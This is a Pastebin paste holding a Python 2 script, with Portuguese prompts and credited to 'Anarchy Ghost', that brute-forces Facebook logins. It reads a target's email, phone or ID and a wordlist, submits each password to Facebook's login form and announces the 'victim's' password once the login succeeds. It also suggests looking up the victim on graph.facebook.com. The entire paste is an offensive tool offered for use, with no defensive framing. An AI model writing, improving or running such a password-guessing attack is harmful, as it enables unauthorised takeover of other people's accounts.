Advertisement
Guest User

Untitled

a guest
Nov 29th, 2015
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.21 KB | None | 0 0
  1. #!usr/bin/python
  2. # -*- coding: UTF-8 -*-
  3. import sys
  4. import random
  5. import mechanize
  6. import cookielib
  7.  
  8. facebook = '''
  9.          __               _                 _  
  10.         / _|             | |               | |                        
  11.        | |_ __ _  ___ ___| |__   ___   ___ | | __                    
  12.        |  _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /                    
  13.        | || (_| | (_|  __/ |_) | (_) | (_) |   <                      
  14.        |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\                    
  15.                                       By Anarchy Ghost
  16. '''
  17. print facebook
  18. print "Lembrete: - Esta ferramenta pode hackear contas de facebook, mesmo se você não tem o e-mail de sua vítima."
  19. print "Utilize CTRL+C para sair"
  20. print "Utilize a função graph.facebook.com/{Username} para mais informação sobre a sua vítima ^_^"
  21.  
  22. email = str(raw_input("Digite: |E-mail| |Telefone| |ID do Perfil| |Username| : "))
  23. wordlist = str(raw_input("Digite o nome da wordlist e sua extensão: "))
  24.  
  25. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  26.  
  27.  
  28.  
  29. login = 'https://www.facebook.com/login.php?login_attempt=1'
  30. def attack(senhas):
  31.  
  32.   try:
  33.      sys.stdout.write("\r# Tentando à senha: %s " % senhas)
  34.      sys.stdout.flush()
  35.      br.addheaders = [('User-agent', random.choice(useragents))]
  36.      site = br.open(login)
  37.      br.select_form(nr=0)
  38.  
  39.      
  40.      ##Facebook
  41.      br.form['email'] =email
  42.      br.form['pass'] = senhas
  43.      br.submit()
  44.      log = br.geturl()
  45.      if log != login:
  46.         print "\n\n\n# Senha encontrada !!"
  47.         print "\n# Senha: %s\n" % (senhas)
  48.         sys.exit(1)
  49.   except KeyboardInterrupt:
  50.         print "\n# Você fechou o programa..."
  51.         sys.exit(1)
  52.  
  53. def search():
  54.     global senhas
  55.     for senhas in senhas:
  56.         attack(senhas.replace("\n",""))
  57.  
  58.  
  59.  
  60. def check():
  61.  
  62.     global br
  63.     global senhas
  64.     try:
  65.        br = mechanize.Browser()
  66.        cj = cookielib.LWPCookieJar()
  67.        br.set_handle_robots(False)
  68.        br.set_handle_equiv(True)
  69.        br.set_handle_referer(True)
  70.        br.set_handle_redirect(True)
  71.        br.set_cookiejar(cj)
  72.        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  73.     except KeyboardInterrupt:
  74.        print "\n# Você fechou o programa...\n"
  75.        sys.exit(1)
  76.     try:
  77.        list = open(wordlist, "r")
  78.        senhas = list.readlines()
  79.        k = 0
  80.        while k < len(senhas):
  81.           senhas[k] = senhas[k].strip()
  82.           k += 1
  83.     except IOError:
  84.         print "\n# Erro: verificar sua wordlist! \n"
  85.         sys.exit(1)
  86.     except KeyboardInterrupt:
  87.         print "\n# Você fechou o programa...\n"
  88.         sys.exit(1)
  89.     try:
  90.         print "\n# Conta da vítima: %s" % (email)
  91.         print "# Carregado:" , len(senhas), "senhas"
  92.         print "# Por favor aguarde..."
  93.     except KeyboardInterrupt:
  94.         print "\n# Você fechou o programa...\n"
  95.         sys.exit(1)
  96.     try:
  97.         search()
  98.         attack(senhas)
  99.     except KeyboardInterrupt:
  100.         print "\n# Você fechou o programa...\n"
  101.         sys.exit(1)
  102.  
  103. if __name__ == '__main__':
  104.     check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement